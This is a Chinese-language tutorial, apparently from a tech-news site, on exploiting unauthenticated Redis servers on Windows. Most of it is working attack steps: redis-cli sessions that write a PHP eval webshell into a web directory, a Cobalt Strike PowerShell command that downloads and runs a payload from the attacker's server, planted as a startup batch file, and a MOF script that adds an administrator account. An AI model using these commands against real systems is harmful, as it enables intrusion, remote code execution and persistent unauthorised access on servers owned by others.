您好,登錄后才能下訂單哦!
小編給大家分享一下windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
Redis未授權(quán)產(chǎn)生原因
1.redis綁定在0.0.0.0:6379默認(rèn)端口,直接暴露在公網(wǎng),無防火墻進(jìn)行來源信任防護(hù)。
2.沒有設(shè)置密碼認(rèn)證,可以免密遠(yuǎn)程登錄redis服務(wù)
漏洞危害
1.信息泄露,攻擊者可以惡意執(zhí)行flushall清空數(shù)據(jù)
2.可以通過eval執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件
3.若以root身份運(yùn)行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器。
利用方式01-寫入webshell
1.獲取web絕對路徑,直接寫入webshell
redis-cli.exe -h redis-server] -p 6379
redis redis-server> CONFIG SET dir c:/phpstudy/www
OK
redis redis-server> CONFIG SET dbfilename shell.php
OK
redis redis-server> set x “<?php @eval($_POST['a']) ?>”
OK
redis redis-server> save
OK
直接訪問shell.php即可
利用方式02-啟動項寫入
windows下的開機(jī)啟動項的目錄為
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
寫入方式有很多,這里我們使用Cobalt Strike來進(jìn)行演示
先啟動CS服務(wù)端 ,命令如下:
root@kali:~/cobaltstrike4.1# ./teamserver csip 123456
在啟動客戶端,輸入密碼和地址
添加一個Listener 監(jiān)聽器
選擇Attacks – Web Drive-By – Script Web Delivery,選擇剛才添加的Listener
點(diǎn)擊Launch之后生成如下代碼
powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))\"
直接保存為1.bat即可
其中存在兩個小細(xì)節(jié),一個是由于dbfile本身是有內(nèi)容的,因此命令要正常運(yùn)行必須先換行,經(jīng)過測試需要兩個換行符rn才能正常運(yùn)行,還有一個是由于本身執(zhí)行命令中也有雙引號,因此需要加入轉(zhuǎn)義
redis-cli.exe -h 目標(biāo)ip -p 6379 redis 目標(biāo)ip:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" OK redis 目標(biāo)ip:6379> CONFIG SET dbfilename 1.bat OK redis 目標(biāo)ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"/r/n/r/n 注意這里的雙引號要轉(zhuǎn)義,windwos路徑的start menu中間一個空格 OK redis 192.168.1.101:6379> save OK
查看服務(wù)器啟動項,發(fā)現(xiàn)正常寫入命令
重啟目標(biāo)機(jī)器,成功上線
利用方式03-寫入mof
如果由于不能重啟機(jī)器也無法獲取web目錄,想到Mof提權(quán),環(huán)境限制只能為win2003。
簡單描述一下mof提權(quán)的原理:
mof是windows系統(tǒng)的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管對象格式”其作用是每隔五秒就會去監(jiān)控進(jìn)程創(chuàng)建和死亡。其實就是有了mysql的root權(quán)限了以后,然后使用root權(quán)限去執(zhí)行我們上傳的mof。隔了一定時間以后這個mof就會被執(zhí)行,這個mof當(dāng)中有一段是vbs腳本,這個vbs大多數(shù)的是cmd的添加管理員用戶的命令。
也就是說在`c:/windows/system32/wbem/mof/`目錄下的mof文件會每5秒自動執(zhí)行一次,這樣就不需要重啟機(jī)器就能獲取權(quán)限了。
首先將如下代碼保存為admin.txt文件:
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
此處要執(zhí)行的命令為添加名為admin的用戶
然后執(zhí)行
(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt
切換到redis目錄,運(yùn)行如下命令
過一會就看到用戶添加成功了。(本地測試一直未成功,寫入mof文件夾成功,但是執(zhí)行一直到bad文件夾里)
補(bǔ)充一個linux下的利用方式:
在2019年7月7日結(jié)束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關(guān)于redis新版本的RCE利用方式
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
利用腳本如下
https://github.com/LoRexxar/redis-rogue-server
實戰(zhàn)在生產(chǎn)環(huán)境下用還是會有很多問題的
redis數(shù)據(jù)量稍微大一點(diǎn),寫shell到文件之后,php因為文件太大是會拒絕執(zhí)行的
Ubuntu,Debian寫計劃任務(wù)反彈無用
寫/etc/passwd會覆蓋原有/etc/passwd,不可能改了再改回來
生產(chǎn)環(huán)境下用`KEY *` 這樣的命令直接炸
以上是“windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。